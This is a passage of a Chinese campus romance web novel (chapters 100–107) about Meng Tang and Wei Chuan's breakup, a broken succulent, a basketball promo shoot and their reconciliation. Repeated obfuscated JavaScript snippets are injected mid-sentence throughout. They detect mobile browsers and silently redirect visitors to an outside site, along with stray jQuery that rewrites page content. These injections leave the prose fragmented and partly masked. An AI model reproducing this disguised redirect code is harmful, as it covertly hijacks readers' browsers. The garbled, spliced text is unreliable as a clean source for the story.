“你夹的啊。”魏川抻了下薄薄的眼皮,“我能不吃?” 孟棠:“……” 魏川见她还盯着自己,说:“好了,不辣了,你赶紧吃饭,我给你俩点了个小甜品,不知道怎么还没上,我给你催催。” 孟棠埋头吃饭,心里乱成一片。 杨可吃饱喝足,去了卫生间。 孟棠擦了下手,转头问魏川:“我有个问题想问你,你为什么会出现在高铁站?接我的吗?” “偶遇的。”魏川嘴硬,“杨可以为我来接你,我还能说不是吗?就算是同学,我也会捎一程。” 孟棠“哦”了声:“不是特意来接的就好。” “我——” “好了。”杨可过来,打断了魏川,“咱们走吧。” 三个人出了商场,魏川状似不经意地问:“去哪儿?” 杨可说了地址,也跟着演戏:“这次孟棠是为了陪我才没去你的公寓,对不住啊。” 魏川一副大度的模样:“没事,我看了导航,距离她要工作的博物馆很近。” 孟棠完全没有任何的怀疑,尤其是看到了房子之后。 普普通通的两层楼小院,倒是杨可,有些意外。 有钱人的品味真是独特啊。 魏川从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今天我在车站,不是和杨可偶遇,知道你要来,我一早就过去等着了。” 魏川到车边,怎么都不得劲,一口气跑回头,抖了全部心思。 第101章 你俩分手了? 孟棠洗完澡,擦着头发进了卧室。 杨可盯着她看了会儿,突然掐了把她的腰:“身材还是那么好,便宜魏川了。” 蜂腰翘臀,曲线柔美,夏天更直观,冬天盖着厚衣服,什么都看不出来。 孟棠怕痒,浑身一抖,弓着腰躲开了杨可。 “你也太夸张了,”杨可笑话她,顺道八卦,“魏川抱你你也这样?” 孟棠直起腰,忍着羞臊,说:“没抱过。” 杨可张大嘴巴:“他不行啊?” “……我去吹头发。”孟棠接不了这话,转身逃离,“你先睡。” 杨可一个熬夜大侠怎么可能先睡。 等孟棠回了卧室,她玩手机还玩得津津有味。 孟棠掀开被子,背对着她侧过了身体。 手机也没玩,怔怔地盯着窗帘的花纹,满脑子都是魏川去而复返说的话。 一早就过去等着了,最起码等了四个小时。 临走前,还说自己没什么意思,就是告诉她一声。 摆明了不想让她今晚睡个好觉,梦里梦外都得惦记着他。 杨可放下手机,转头问孟棠:“你叹什么气?” 孟棠转过身,眼底闪过疑问:“我叹气了?” 杨可点了点头:“嗯。” 孟棠起身,跟她一样靠着床头,问杨可:“你有没有喜欢过一个人,是什么样的感觉?” “当然喜欢过了。”杨可说,“高中喜欢过一个,大一也喜欢过一个,但人家都不喜欢我。” “说实话,挺难受的,他就好像拽住了一根隐形的线,线的尽头绑的是我的喜怒哀乐。” “我他妈自己还没坐上过山车,情绪已经滚过了几遭。” “所以说啊,喜欢一个人,无非就是开心期待、患得患失、嫉妒占有,甚至呢,你会很渴望和他有肢体上的接触。” 听到最后一句,孟棠明显有些不好意思。 她能感觉得出来,魏川现在对她就是一种暗戳戳想要碰触的感觉。 走路的时候会往她身边挤,说话的时候情不自禁靠近,捏着她脸时,指腹还会轻轻地蹭…… 他可能自己都没察觉到这些暧昧的小动作。 魏川对她是明了清晰的,可她还陷在矛盾的拉扯中。 孟棠扭过脸,对杨可说:“如果彼此喜欢,是不是就要立刻在一起?什么都不顾?因为我总是听说,恋爱是两个人的事。” 杨可以为她第一次恋爱,患得患失,耐着性子给她解释: “谁规定的啊?你不觉得现在的人谈恋爱太随便了吗?” 孟棠点点头:“有一点。” 杨可:“所以啊,按照自己舒适的节奏来呗,你跟魏川不就挺好的。” “你不觉得我跟他距离太远吗?我说的距离是家庭。” 室友们都知道孟棠的家庭情况,除了孟怀璋。 魏川出生富裕,家庭和睦,性格也开朗坦诚,反观孟棠,像她手底下未打粗坯的木头。 “你不用自卑。”杨可看着她,“你当魏川是傻子吗?他这种大少爷什么样的女生没见过,他既然喜欢你,你身上肯定有吸引他的特质啊。” 孟棠心绪开阔许多。 是啊,喜欢一个人时,来不及权衡利弊,也没什么道理可言。 是所有暧昧的一瞬间堆积起来的心动,魏川不过20,什么都写在脸上。 聊着聊着,孟棠闭上了眼睛。 翌日上午,杨可还在睡,孟棠一个人起身去了博物馆。 杨可醒来天都塌了,她没定闹钟,没给孟棠做早饭。 孟棠进了馆内,见到李寒津,对方一脸严肃,对她说: “我们可能要去一趟闽州的松崚山。” 孟棠一愣:“怎么了?” 李寒津说:“修补材料的不可替代性,你自己看看就知道了。” 孟棠跟他进了修复室,发现博物馆库存的黄杨木,年轮密度不适合对观音像进行修补。 她转头跟李寒津说:“《宗教造像修复准则》的第12条就是圣像躯干材料须遵循原工艺生态链,所以需要馆长特批采材手续,要全程记录。” 李寒津说:“你和我,外加博物馆的一个老匠人,还有小李负责摄影记录应该就够了,到当地再找林业局的向导。” “还得加个地质局的顾问。”孟棠说,“观音像的原料有闪电高温形成的硅结晶,我们需要这样一个人,去检测雷击木电磁的残留,只是可惜,现在去不了。” 有人问:“为什么现在去不了?” 孟棠淡淡道:“《造像量度经》记载:“取木当以露未晞为度,阳炁初升而阴液未散。” “什、什么意思?” 孟棠瞥了眼对方:“简单来说,就是谷雨前后的均温和湿度足够,有利于树脂的分泌,在谷雨次日进山,确保露水未散时抵达,这个时候的木材含水率是最接近原件状态的。” “那为什么又要第二天去?不能谷雨当天去吗?” 孟棠笑了笑:“宗教有禁忌,谷雨次日,木德星君临山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢泠音八卦地问孟棠:“寒假跟魏川过得怎么样啊?啥时候请我们吃饭?上次你们整我和许鹤清的游戏,我可都记着呢。” 杨可边吃边说:“好着呢。” 孟棠缓缓放下筷子,说:“我跟他,性格可能不太合适。” 餐桌寂静一片,三人齐齐看向她:“什么意思啊?” 孟棠干笑:“就是你想的那个意思。” “分手了?”谢泠音瞳孔颤抖。 孟棠“嗯”了声。 谢泠音“啪”一下放下筷子:“他是不是欺负你了?有他这样的吗?刚追到就分手?” “不是,我——” “快看,是魏川。”石岚拉了下谢泠音。 谢泠音回眸,对着食堂门口大喊一声:“许鹤清,你把魏川带过来,我们有事问他。” 第102章 让你抱一下,或者亲一下也行? 谢泠音的一嗓子,吼得食堂的学生纷纷侧目。 看到许鹤清和魏川,更加窃窃私语,余光都在八卦。 许鹤清吓了一跳,转眸看向魏川:“你得罪她了?” 魏川抿了抿唇:“过去看看吧。” 女生桌那边的杨可完全呆了,她抵了抵孟棠:“你们什么时候分的啊?” 孟棠尴尬地笑了笑:“年前。” 杨可:“……可他在你来z市的时候,不还去接你了吗?” “是接了。”这是事实,孟棠当然得承认,“分手了应该还能做朋友吧。” 杨可歪着头,一副“你在逗我”的神情。 魏川对她可没少操心,再说他也不像是分手还可以做朋友的人,除非还爱。 许鹤清自觉坐到谢泠音旁边,而魏川,坐在了孟棠的对面。 许鹤清捏了捏谢泠音的手:“怎么了?他惹你了?” 谢泠音冷笑着推开许鹤清,歪着头对准魏川:“你问问你的好兄弟呗,追到孟棠才几天啊,竟然就跟她分手了。” “你们男人是不是永远不知道‘珍惜’两个字怎么写?” “你要想玩,倒贴你的多的是,为什么要对孟棠这样?” “她那么温柔一个人——” “是她要跟我分手的。”魏川漫不经心瞥了眼谢泠音。 “你怎么能——呃……” 话音一顿,谢泠音怀疑自己的耳朵出了问题。 其他人纷纷看向孟棠,孟棠点了点头:“是我分的。” “为什么啊?”谢泠音不解。 孟棠摇了摇头,明显不想说。 魏川起身,对孟棠说:“玉露我带过来了,但我现在要去训练,晚上七点,你在训练馆的东侧门等我。” 说完,他头也不回地走了。 许鹤清喊:“你不吃饭了?” 魏川挥了挥手。 谢泠音踢了下许鹤清,许鹤清立刻意会,追了上去。 “我吃饱了。”孟棠端起餐盘,“你们慢慢吃吧,我先走了。” 谢泠音和石岚、杨可面面相觑,没去打扰孟棠。 “你说他俩是不是有误会啊?”杨可问。 石岚戳了下饭粒,说:“两人都承认了,能有什么误会?” “可魏川明明喜欢孟棠啊。”杨可将房子的事全盘托出。 石岚看了眼谢泠音:“这么看的话,咱孟棠成了渣女了。” “我更倾向于有误会。”谢泠音说,“孟棠不是那种人。” 杨可:“那怎么办?要帮一下吗?” 谢泠音:“感情的事怎么帮?会弄巧成拙的,但只要魏川有心,他俩还是有希望的。” 许鹤清一路追到训练馆,才将人拦下来:“你跟孟棠到底怎么回事?” 魏川说:“她不喜欢我。” 许鹤清搞不懂了:“不喜欢你,为什么要接受你的告白?” 魏川本来就烦,看许鹤清更是不太顺眼,他扔下一句“懒得说”后,扭头走了。 魏川躲去了侧门,给秦渊打了个电话:“今晚来学校找我,有点烦,陪我聊聊。” 秦渊一口答应了。 晚上七点,魏川让李卓,将桌上的玉露给他送了过来。 孟棠来到训练馆的东门,看到溶在屋檐阴影下的魏川。 这个点,大家都去吃饭了,只有他一个人站在那儿。 孟棠慢慢走了过去,抬手去接玉露:“谢谢。” 魏川躲开她的手,将玉露半举空中,嘲讽地轻笑:“这么迫不及待就跟室友说了?” 孟棠看不清他隐匿在黑暗中的神情,习惯性仰起头,将自己的表情暴露在魏川的视野中。 “泠音问你什么时候请她们吃饭,我总不能真让你去。” 魏川从鼻底冒出一声轻嗤:“是你不想吧?” 语气带刺,孟棠听得出来。 她点了点头:“玉露给我吧,谢谢你这段时间对它的照顾。” “就一句谢谢?” “那你要怎样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892656|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>魏川从阴影处上前一步,挤着孟棠往后退去。 “我还没想好,欠我一件事吧。” 孟棠知道,自己不答应,他不会让她走,总不会让她**放火,于是点了头。 魏川却突然咬了下后槽牙:“一盆破多肉,问也不问就答应了,我要是耍流氓,让你抱一下,或者亲一下也行?” “你——”孟棠震惊,他该不会真是这么想的吧? “我还没这么下流。”魏川看透她的心思,又想气又想笑,“倒是你,小心思藏好了,要是被谢泠音看出来,以后两年,你也不用跟她相处了。” 孟棠朝他伸手:“不用你操心。” “我他妈操心的还少了。”魏川将玉露给她。 孟棠拿了多肉,转身就走。 魏川下意识向前踏出一步,又嫌弃自己没出息,硬生生忍着没动。 孟棠回寝室的路上越想越不舒服,以至于没留神,被凸起的砖块绊了一脚。 清脆一声响,玉露摔在地上,连带着陶瓷花盆四分五裂。 孟棠的委屈达到顶峰,忍着将一片狼藉收拾进垃圾桶里。 她往前走了两步,心中涌起一股冲动,又忽然顿住,转头往训练馆走。 魏川瞧见去而复返的孟棠,心脏重重一跳,下意识迎了上去。 “你刚才是不是诅咒我了,我的玉露坏了。”孟棠无理取闹地质问。 魏川愣了许久才反应过来:“怎么坏了?” “不用你管。”孟棠用沾满黑泥的手擦了把眼泪,哭腔很是可怜,“情人节那天,你根本没有听懂我的话,也没有理解我的意思。” “你只顾着拈酸吃醋,时不时就把许鹤清搬出来刺我。” “可玉露是泠音送的,跟许鹤清有什么关系?” “这下好了,你以后也不用阴阳怪气了。” 也算痛快地发泄了一通,孟棠说完就走。 魏川一把将人拽了回来:“什么意思?说清楚!” 第104章 意思很简单,我不喜欢他了 会议室里渐渐空了,魏川还是半晌没说话,也不给孟棠让道。 孟棠终于受不了似的,抬眼问:“你不走吗?” “终于跟我说话了?”魏川轻笑,“还以为要一直不理我。” 孟棠说:“总是要理的,不然接下来的宣传工作不好进行。” “……”魏川心梗。 拉开椅子,走到孟棠跟前,说:“我忙着训练,只能见缝插针给你发信息,但是你都没回。” 孟棠回避他的视线:“我也忙。” “我知道,我只想问你一句话。”魏川倾身上前,“那天你说的话我想了好久,没有明白你的意思,你能跟我说清楚吗?” 当时的冲动让孟棠懊恼了两天。 让她剖析自己,比登天还难。 “你就当没听见。” “可我已经听见了。”魏川说,“别让我猜了,我也没有其他的意思,只是想知道那晚你想表达的是什么。” “我不说的话,是不是要拦着不让我走?”孟棠问。 魏川笑了声,痞气的样儿:“你还挺了解我。” 孟棠轻哼:“意思很简单啊,我不喜欢许鹤清了!” “真的?”魏川完全没想到她能这么平平淡淡地说出来,像沉闷的天空突来的一记雷声。 孟棠看着他的眼睛:“假的。” 魏川脸色一下沉了:“别搞我。” 孟棠清了清嗓子,小声道:“真的。” 乌云转晴,魏川一下笑出来,他转头从身后的椅子上拿出一个袋子给孟棠:“自己看。” 孟棠狐疑地低头,看到玉露时一愣。 “既然那个坏了,就赔你一个新的,我亲自选的。”魏川表情略有些得意,“你看看,喜欢吗?” 孟棠捧着多肉,发现连带着陶瓷盆都和前头那个一模一样。 她将盆栽转了一圈,陶瓷盆背后,被记号笔画上了一个表情。 孟棠转给魏川看:“这什么意思。” 魏川做了个wink:“这个意思。” “……”孟棠又看了一遍,确实是这个表情。 魏川干咳了声,状似不经意地问:“你喜欢这个,还是喜欢那个?” “什么这个那个的。”孟棠装傻。 魏川“啧”一声,抢过孟棠的玉露,孟棠伸手去抢:“给我。” “不行,你说你喜欢哪个。” “这是你赔给我的,为什么又抢走?” “谁抢了,只是让你说更喜欢哪个罢了。” “喜欢这个,行了吧?” 魏川哼笑一声,将玉露给她。 孟棠将玉露抱进怀中,对魏川残忍一笑:“骗你的,我更喜欢摔坏的那盆。” 魏川察觉到她要逃,用身体挡住他:“骗我的?” “你别闹了。”孟棠抬手去推他,“我还有事。” “不就是要去体育教学部了解一下赛事详情。”魏川笑道,“你问我啊,我什么不知道?” 孟棠:“……拍海报都是抽出来的时间吧?你还有空给我科普?” 魏川语塞,他确实没空。 孟棠隐晦地勾了下唇,绕过魏川离开了会议室,去找了谢泠音。 谢泠音是学生会的,她应该都知道。 进了群,才发现大概的方案已经有了,她只要做好自己的这一部分就可以。 时间很紧,在非训练期间,摄影部的人借用训练馆的场地进行拍摄。 孟棠跟摄影师说:“你拍你的就行,我不需要让他们持续保持扣篮动作,我只要有爆发力的瞬间。” “好,那我先拍。” 孟棠点了点头,站在摄影师身后观看。 篮球队的进了场,魏川还没打招呼,田聿和邵一鸣先朝孟棠挥了挥手。 魏川勾住他俩的脖子:“别浪费时间,赶紧的。” 说完,他自己朝孟棠甜甜一笑。 怎么这么爱现,孟棠偏过了头。 摄影师说:“好了,我们开始了。” 话落,魏川绷紧了浑身的肌肉线条,像拉紧的弓弦蓄势待发。 随后噼里啪啦的撞击声混合篮球落地声在馆内有节奏地响起。 摄影师无奈笑道:“停停停,我不是让你们对抗赛啊,而是要以魏川为中心,主要捕捉你们的动作力量。” 几个大男生面面相觑:“那怎么拍啊?” 摄影师说:“我只是需要动作,可以1v几的那种对抗。” 魏川朝他比了个“OK”的手势。 接下来的拍摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892658|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺利多了,魏川的表现太过精彩。 滞空的瞬间,腰腹沟壑分明,落地后速度不减,球鞋和地板摩擦出尖锐的声响。 摄影师感叹道:“这位仁兄不进娱乐圈可惜啊。” 孟棠看过去,魏川整个人压低重心,呈防守姿态。 像一匹被**的孤狼。 她有一瞬间的恍惚,仿佛刚才对她甜笑的不是眼前这个人。 “好好好,扣篮啊。”摄影师拍得兴奋不已,“一定要帅一点,咱这是宣传片啊,把那个**的劲儿拿出来,但你别故意喘得胸膛起伏很大,那样会显得很油,咱还是大学生,清爽一点。” 孟棠:“……” 话糙理不糙。 她瞥了眼摄影师,听说是大三的学长,这一番话下来,感觉他已经浸淫工作多年。 魏川也不愿浪费时间,不管是投篮还是扣篮,都干净利落,没有一丝技巧。 摄影师又道:“就他妈硬帅啊,这哥们。” 篮球落地,掩盖了魏川溢出的低喘。 孟棠看过去,撞上他滚烫的视线。 她像是被烧灼了一般,只能躲避去和摄影师沟通拍摄动作的一些细节。 后续,孟棠需要将魏川的全部动作拆解成雕塑。 背景她觉得用流动的石膏纹路更好,将篮球运作中的力量和速度交织体现,再去定格。 难的不是她这个部分,而是后期,需要将魏川从雕塑内冲破的画面做出来。 这个过程可长可短,她必须留下足够的时间给对方。 余光中压下一道侧影,孟棠仰起头,魏川问:“好了吗?” 孟棠还没回答,摄影师说:“好了,先休息吧,待会儿再拍你们整个篮球队,人员都到齐了吗?包括替补。” 魏川点了点头:“到了,孟棠先借我一下。” 摄影师觉得好笑:“她不是你女朋友嘛,问**什么?” 魏川朝孟棠挑了下眉,抓着她的手腕将她“裹挟”了出去。 孟棠见他往门口的方向偏,问:“你带我去哪儿啊?” “时间挺紧的。”魏川忽然拐了弯,进了更衣室。 孟棠一惊,还不等她反抗,腰间一紧,她整个人抵上了更衣室的门。 第105章 再后来,你就有了我 更衣室里空无一人,灯光泛着金属冷感,魏川和这里的气质几乎融为一体,而孟棠却显得格格不入。 她贴着门,手稍稍抬起,是个防御的姿势。 “这么紧张干嘛?我难道会对你做什么?”魏川笑了声,松开了她。 孟棠放下手,没吭声。 “过来坐。”魏川偏了下头,“一直站着不累吗?” 孟棠往后指了指:“一会儿就回去了,你带我来这里干什么?” “到时候自然有人过来叫。”魏川拍了拍身旁的位置,“我有事跟你说,坐吧。” 因为比赛将近,队员现在的学习和生活都被安排得没有一丝空隙。 最后这段时间,他们不会再进行强度高的训练,万一受伤得不偿失。 但每天要完成的体能和战术训练必不可少,一个赛区有36支队伍,男队20支,竞争力还是很大的。 也就是今天这点空闲,他才有空和孟棠说说话。 孟棠犹豫了片刻,走了过去。 直至她在身边坐下,魏川才扭过头,小声说:“那天晚上,秦渊过来找我,跟我说了很多很多,也让我想了很多很多。” 孟棠不知道他怎么突然提到秦渊,偏头对上他的视线。 “我不明白你在水月寺说的那些话,是因为我当时只想着你不要跟我‘分手’,只要不说‘分手’,让我做什么都行。” 孟棠眼波微动,看着他,小声地问:“你突然说这些干什么?” 魏川轻笑:“因为只有现在有空。” 孟棠抿了下唇,没再说话,似乎在等他的下文。 “但是说之前,我必须向你道歉。” 孟棠更疑惑了。 “你父亲的事,我告诉秦渊了。” 孟棠倏地要起身,魏川却更快,一把按住她的手,整个人单膝跪到她跟前,抬头望着她。 “松开我。”孟棠瞪着他。 “听我说。”魏川紧紧按着她,生怕她跑了,“渊子是单亲家庭长大的,跟你的情况有点像,他不会告诉别人。” “我理解你要藏着的心思,但你父亲已经出来了,这个世界上根本没有不透风的墙。” “你整天藏着,风声鹤唳,时间久了,人家多看你一眼,你都觉得是因为你的父亲,而不是因为你漂亮!” “你懂我意思吗?” 孟棠对上他的视线:“那就等透风了再说。” 魏川失笑:“别气人。” 孟棠白了他一眼。 “秦渊说我不顾一切去找你是因为我的家庭给了我承托一切的勇气,这些我都承认。”魏川摩挲着孟棠的手背,“可你身后也有人,以前有老头,后来有你的室友,再后来就有了我。” 他的声音太过温柔,像三月吹来的春风。 “你要是给我机会,我会一直都给你托底。” “所以,你不要害怕好吗?” 孟棠的心里自然希望孟怀璋是真的改邪归正,正常生活。 这个人跟她连着骨血,根本割舍不掉。 “其实你无论怎么样,我都挺喜欢的,只是不想看见你以后因为你父亲这件事而小心谨慎。” 喜欢…… 孟棠看着蹲在眼前的人,无意识勾住了他的食指。 魏川视线下移,心脏怦怦跳,没忍住勾了勾唇。 “你当时知道的时候,是什么感觉?” 魏川说:“第一反应当然是惊讶和好奇了,我当时就掉头回去了,心想绝对不能被你看到。” “我知道以后你肯定会知道,但当时,我不能出现在你面前。” “谁问你这个了。”孟棠渐渐放下防备,“我问你对孟怀璋的看法。” 魏川皱了下眉,孟棠一下吊起了心。 “我对他没什么看法啊,我对老头倒是有点看法,整天撺掇你毕业回去结婚。” 孟棠凶巴巴捏了下他手指,魏川夸张地惨叫:“疼疼疼……松手松手。” 孟棠以为真弄疼他了,一下松了手,可眼神却带着疑惑,心想自己也没用劲。 可人家松了,魏川又不乐意了,暗戳戳又勾回了孟棠的食指,笑眯了眼: “开玩笑的,我对他俩都没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892659|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看法,是你敬重的人,我也一定会敬重,你要是不待见,我保证不带给一个眼神的,行吗?” 语气像哄孩子,孟棠垂下眼睫,咬住唇下的软肉。 半晌也没个应声,魏川说:“我没哄你,我真是这么想的,我把你拉进来,只是想告诉你,我喜欢你,跟别的一概没关系,只是因为吸引我的是你。” “那你的家人,也是这么想的吗?”孟棠在他的鼓励下,终于勇敢地问了一句。 魏川倏地笑出了声:“你都想到跟我回去见家长了?” 孟棠羞臊得脖颈一片热,她甩开魏川的手就要走,被他一把拽了回去。 “我开玩笑的,别跟我一般见识。” 孟棠可以感觉到他的真诚,敛下眉眼,说:“以前在高中的时候,有个男生喜欢我。” 魏川抓着她的手一紧:“然后呢?” “没有然后。”孟棠看着他,“他跟你真的很像,也是运动型的男生,在学校人缘特别好,性格也好。” 魏川不自觉屏住了呼吸,他有预感,今天之后,他会离孟棠的心更近一些。 “在知道孟怀璋的事之前,他对我很尊重,暗戳戳的感觉,后来知道孟怀璋的事,第一时间和我划清了界限。” 魏川紧了紧掌心,似在无声安慰。 “我本来也不喜欢他,也理解他远离的举动,只是吧……”孟棠笑了下,“说出来的话很伤人,他说——” “好了,我知道。”魏川阻止了她,“别去想了,你现在说不定都记不得对方的长相了,何必再去把以前伤害你的话翻出来。” 孟怀璋坐牢,从来不是孟棠的错。 孟棠看着魏川,眼睛里流露着细碎的光芒,她突然倾身下来,小声地说:“你跟他一点都不像。” 魏川是看明白了,孟棠如果放下防备,撩得毫不自知,也直球得让人受不了。 魏川仰着头,视线从她的眼睛转到她唇上。 看着好软! 四只手,胡乱地纠缠在一起,孟棠看着越来越近的人,猛地闭上了眼睛。 第106章 川哥,外面睡着的人看着像你女朋友 “川哥,拍摄了。” 更衣室的门被猛地推开,孟棠心脏骤停,慢慢撇过了脸。 魏川扶着凳子起身,两条腿触电似的麻。 他瞥了眼孟棠,暗骂自己自制力不强。 这还没追到人呢,竟然就想着亲了。 好在田聿来得及时。 田聿笑着进来:“你怎么了?” 魏川朝他伸手:“扶一下,腿麻了。” “**,你干什么了?”田聿小声嘀咕了句。 魏川:“滚蛋,赶紧走。” 孟棠跟着起身,去了训练场场边。 几个球员还在场上闹着玩,摄影师喊了声:“抓紧时间啊,别玩儿了,魏川你管一下。” 魏川将篮球扔到邵一鸣身上:“听见没有,别他妈玩了,拍了。” 一群人终于停止了吵闹。 “咱们来个团魂站位,魏川第一个,依次往后,但动作随意。” 魏川朝孟棠挑了下眉。 “魏川,你行行好吧,啊,拍完再谈恋爱。” 孟棠囧得立在一旁。 魏川装听不懂,视线聚焦一个点,差点成了斗鸡眼。 田聿起哄:“你哪懂我们川哥的辛苦,这段时间忙着训练,好不容易看到女朋友了,不得多看两眼?” “你要是配合我啊,保准你早早手工,早早谈恋爱。” 几人互相贫了几句,才开始工作正题。 拍到晚上六点左右,贺教练来要人。 没能跟孟棠吃顿饭,魏川只能一步三回头,最后被贺教练掐着脖子走了。 吃完饭回到寝室,孟棠打开电脑,收了摄影师拍摄的图片和视频。 谢泠音推门进来,孟棠下意识看过去:“你回来了。” “嗯。”谢泠音将包和拎着的东西一并放到桌面上。 孟棠一怔,是Mussini16色木盒套装的画材。 谢泠音脱去外套,问:“你看什么呢?” 孟棠指了指她的桌上:“今天买的?” “不是,许鹤清给的。”谢泠音说。 孟棠“哦”了声,那是有可能,就是不知道魏川之前买的这个套装怎么处理了。 毕竟他告白的时候只带了花束。 杨可羡慕地瞅了眼:“有钱啊。” “什么啊。”谢泠音失笑,“这是他买的二手货,1800到手的,省了一千呢。” “1800?”石岚凑了过来,“新的吗?” 谢泠音点了点头。 石岚:“那是挺划算的。” 二手? 孟棠拿起手机,给魏川发了条信息:【你之前买的Mussini的画材还在吗?】 这个点,他正好在吃饭,立刻就回了:【卖给许鹤清了。】 果然是这样。 魏川:【怎么了?】 孟棠:【没事,他把东西给泠音了,泠音带回寝室我看见了。】 魏川:【吓我一跳,别误会是我给的就行。】 孟棠:【……我看你之前,挺积极的。】 魏川:【那是因为不想跟你那么早分开。】 孟棠招架不住,回:【我先忙了。】 雕塑要赶进度,从设计到骨架搭建,再到泥塑翻模,做成成品,最低都需要20天。 她一个人搞不完,便拉上了全班的人,这样最起码要压缩一半的时间。 得知是cubal的宣传工作,大家自然是乐意的。 孟棠打开电脑,说:“前期的资料和草图我已经弄好了,接下来咱们分组分工。” 孟棠技艺好,但不代表组织能力好,她便拜托了班长统筹。 谭曦笑她:“以前不爱说话的一个人,为了魏川还拉上了全班,你别太喜欢了!” 孟棠眼神飘忽,根本不承认:“这是学校交代的工作。” “就不掺杂一点私人感情?”谭曦歪着头八卦,“我可不信啊,下课的时候也不知道是谁,狂补cubal的赛事规则。” 孟棠:“……我当然要了解这个赛事的精神,才能做出更契合主题的作品。” 谭曦托着长长的尾音,“哦”了声。 “跟你说不清,做事去了。” 加班加点赶了十天,终于做好了一比一的雕塑。 雕塑楼这段时间,灯经常亮到一两点。 拖着疲累的步伐,孟棠晃晃悠悠回了寝室。 刚到门口,她听到杨可叹了声气:“你们说,孟棠和魏川,是不是真的分手了?” 石岚:“你怎么还在纠结这件事?” 谢泠音:“孟棠是因为宣传部的工作才每天半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892660|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜回来的,你别瞎想。” 杨可唉声叹气:“可我觉得很可惜啊,感觉魏川很喜欢孟棠,不然也不会废那么大弯儿给她找住的地方。” 孟棠一愣,什么住的地方? “原来那会儿他俩已经分手了啊,我说怎么感觉怪怪的。” 石岚:“你在说什么?” 杨可:“孟棠在年后不是要回博物馆工作嘛,分手了,肯定就不会再住魏川那儿了,魏川不放心,就找到了我,借了他三姐的房子给我们住,还让我给孟棠做早饭和晚饭,你们知道他要给多少吗?” 谢泠音来了兴趣:“给多少?” “两万。”杨可竖起两根手指,“不到一个月,买菜钱另算。” 石岚惊了:“你收了?” 杨可摇摇头:“我是那种人嘛。” “听起来是挺喜欢孟棠的。”谢泠音说,“照这么说,魏川应该不会轻易放弃。” 杨可:“可这段时间,他都没联系孟棠。” 爱情保安着急了。 谢泠音给她一个白眼:“你傻啊,三月底分区赛开始,这还有几天啊,他能分心,教练也不会让他分心。” “也对。”杨可又燃起了一点希望,“分区赛后,希望他俩能好好说清楚。” 孟棠已经困得不行,好不容易结束了宣传部的工作,晚饭也没吃,想着回来洗个澡补觉。 却没想到听到这一番话。 她抿了抿唇,转头往电梯口走。 来到训练馆的时候,魏川他们已经吃过饭开始训练了。 孟棠从侧门偷看了几眼,还是决定不打扰。 她想去找个有太阳的地方坐着歇会儿,又怕魏川出来看不见她。 纠结了半晌,还是在门口的柱子底下坐了下来。 正好有个台阶,她靠着可以休息一下。 孟棠拉上帽子,曲起双腿缩成一团。 也许是太累,没一会儿,眼皮子就往一起黏,睁了几次也没抵挡住来势汹汹的困意。 九点左右,魏川结束了第一波训练。 坐着休息时,突然一个替补在侧门喊他:“川哥,外面睡着的人看着像你女朋友。” 魏川一愣,三月的晚上,在外面睡着了? 他立刻起身,大步跑了过去。 第107章 我会去看你的比赛,每一场 孟棠蜷缩在柱子下面,勾着头睡成一团。 看着很可爱,但也可怜。 魏川走过去,温柔地托起她的脸,小声叫她:“孟棠?醒醒。” 孟棠皱着眉换了个方向,露出小半张脸。 “不能在外面睡觉。”魏川用掌心蹭了蹭她的脸,“孟棠?醒一醒。” 